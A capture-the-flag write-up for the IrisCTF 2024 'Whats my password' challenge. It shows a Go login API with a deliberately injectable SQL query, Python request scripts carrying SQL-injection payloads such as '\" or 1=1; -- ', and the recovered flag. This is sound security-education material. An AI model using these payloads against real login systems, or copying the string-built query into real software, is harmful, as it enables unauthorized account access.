# What have we found here

## Provided Files  
`Files.zip`

## Writeup

Starting off I took a look at the provided files.  
```sql  
CREATE DATABASE uwu;  
use uwu;

CREATE TABLE IF NOT EXISTS users ( username text, password text );  
INSERT INTO users ( username, password ) VALUES ( "root",
"IamAvEryC0olRootUsr");  
INSERT INTO users ( username, password ) VALUES ( "skat",
"fakeflg{fake_flag}");  
INSERT INTO users ( username, password ) VALUES ( "coded", "ilovegolang42");

CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'password';  
GRANT SELECT ON uwu.users TO 'readonly_user'@'%';  
FLUSH PRIVILEGES;  
```

Seems like this is the entry-point for the flag in form of a users password.  
Knowing this I took a look at the service hosting the website and API
endpoints.  
```go  
package main

import (  
"database/sql"  
"encoding/json"  
"fmt"  
"net/http"  
"os"  
"os/signal"  
"regexp"  
"syscall"

_ "github.com/go-sql-driver/mysql"  
)

var DB *sql.DB  
var Mux = http.NewServeMux()  
var UsernameRegex = `[^a-z0-9]`

type Account struct {  
Username string `json:"username"`  
Password string `json:"password"`  
}

func startWeb() {  
fmt.Println("Starting very secure login panel (promise)")

fs := http.FileServer(http.Dir("/home/user/web"))  
Mux.Handle("/", fs)

Mux.HandleFunc("/api/login", func(w http.ResponseWriter, r *http.Request) {  
if r.Method != http.MethodPost {  
w.WriteHeader(http.StatusMethodNotAllowed)  
return  
}

var input Account

decoder := json.NewDecoder(r.Body)  
decoder.Decode(&input)

if input.Username == "" {  
w.WriteHeader(http.StatusBadRequest)  
w.Write([]byte("Missing Username"))  
return  
}  
if input.Password == "" {  
w.WriteHeader(http.StatusBadRequest)  
w.Write([]byte("Missing Password"))  
return  
}

matched, err := regexp.MatchString(UsernameRegex, input.Username)  
if err != nil {  
w.WriteHeader(http.StatusInternalServerError)  
return  
}

if matched {  
w.WriteHeader(http.StatusBadRequest)  
w.Write([]byte("Username can only contain lowercase letters and numbers."))  
return  
}

qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND
password = \"%s\"", input.Username, input.Password)

query, err := DB.Query(qstring)  
if err != nil {  
w.WriteHeader(http.StatusInternalServerError)  
fmt.Println(err)  
return  
}  
defer query.Close()

if !query.Next() {  
w.WriteHeader(http.StatusUnauthorized)  
w.Write([]byte("Invalid username / password combination!"))  
return  
}

var result Account  
err = query.Scan(&result.Username, &result.Password)  
if err != nil {  
w.WriteHeader(http.StatusInternalServerError)  
fmt.Println(err)  
return  
}  
encoded, err := json.Marshal(result)  
if err != nil {  
w.WriteHeader(http.StatusInternalServerError)  
fmt.Println(err)  
return  
}

w.Write(encoded)  
})

http.ListenAndServe(":1337", Mux)  
}

func main() {  
fmt.Println("Establishing connection to MySql")  
db, err := sql.Open("mysql", "readonly_user:password@tcp(127.0.0.1:3306)/uwu")  
if err != nil {  
fmt.Println(err)  
return  
}  
DB = db

defer DB.Close()

startWeb()

sigChan := make(chan os.Signal, 1)  
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)  
<-sigChan  
}  
```

The important thing to notice here is the SQL-injection vulnerability.  
```go  
qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND
password = \"%s\"", input.Username, input.Password)  
```

Knowing this I took a look at the behavior of the endpoint, for this purpose I
coded this small python script.  
```py  
import requests, json

url = "https://whats-my-password-web.chal.irisc.tf/api/login"

data = {  
"username": "root",  
"password": 'IamAvEryC0olRootUsr'  
}

headers = {  
"Content-Type": "application/json"  
}

response = requests.post(url, data=json.dumps(data), headers=headers)

print(response.text)  
```

I used the credentials I found in the sql init file.  
```sh  
kali@kali python3 req.py  
{"username":"root","password":"IamAvEryC0olRootUsr"}  
```

Seems like we got our credentials back.  
With this information I concluded that we need to use an SQL-injection to
login as the user which has the flag as password.  
```py  
import requests, json

url = "https://whats-my-password-web.chal.irisc.tf/api/login"

data = {  
"username": "skat",  
"password": '" or 1=1; -- '  
}

headers = {  
"Content-Type": "application/json"  
}

response = requests.post(url, data=json.dumps(data), headers=headers)

print(response.text)  
```

It seems that this worked but didn't get us the flag.  
```sh  
kali@kali python3 req.py  
{"username":"root","password":"IamAvEryC0olRootUsr"}  
```

Getting the credentials from user `root` back I concluded that if we use `" or
1=1; -- ` we retrieve all credentials stored and it only returns either the
first or last of those credentials which in our case is user `root`.  
Knowing this I changed the SQL-injection a bit.  
```py  
import requests, json

url = "https://whats-my-password-web.chal.irisc.tf/api/login"

data = {  
"username": "coded",  
"password": '" or username = "skat"; -- '  
}

headers = {  
"Content-Type": "application/json"  
}

response = requests.post(url, data=json.dumps(data), headers=headers)

print(response.text)  
```

Using this I returned only user `skat` which obtains the flag and concludes
this writeup.  
```sh  
kali@kali python3 req.py  
{"username":"skat","password":"irisctf{my_p422W0RD_1S_SQl1}"}  
```  

Original writeup
(https://github.com/Aryt3/writeups/blob/main/jeopardy_ctfs/2024/iris_ctf_2024/Whats_my_password/).